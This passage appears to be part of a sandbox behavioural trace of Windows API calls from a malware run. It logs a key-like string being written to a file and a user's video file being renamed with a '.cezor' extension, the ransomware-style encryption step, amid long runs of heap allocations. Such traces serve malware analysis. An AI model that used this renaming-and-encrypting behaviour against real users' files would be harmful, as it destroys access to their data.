out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.549] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.549] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.549] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.549] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.550] CloseHandle (hObject=0x5c4) returned 1 [0060.550] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.551] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.551] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ReEw7jE5wqOg.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\reew7je5wqog.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ReEw7jE5wqOg.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\reew7je5wqog.swf.cezor")) returned 1 [0060.551] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.551] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.552] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x514adce0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x514adce0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcVOmt", cAlternateFileName="")) returned 1 [0060.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0060.552] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.552] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x514adce0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x514adce0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcVOmt", cAlternateFileName="")) returned 0 [0060.552] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0060.552] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6428 | out: hHeap=0x670000) returned 1 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119500 | out: hHeap=0x670000) returned 1 [0060.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119660 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f60e8 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6288 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6220 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31199d0 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5fb0 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119a28 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6018 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119a80 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119ad8 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119b30 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119b88 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119be0 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31195b0 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310a580 | out: hHeap=0x670000) returned 1 [0060.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.553] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.553] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.553] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.554] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.555] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.555] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.556] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.557] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.557] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.558] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.558] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.559] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.559] HeapFree (in: hHeap=0x670000, 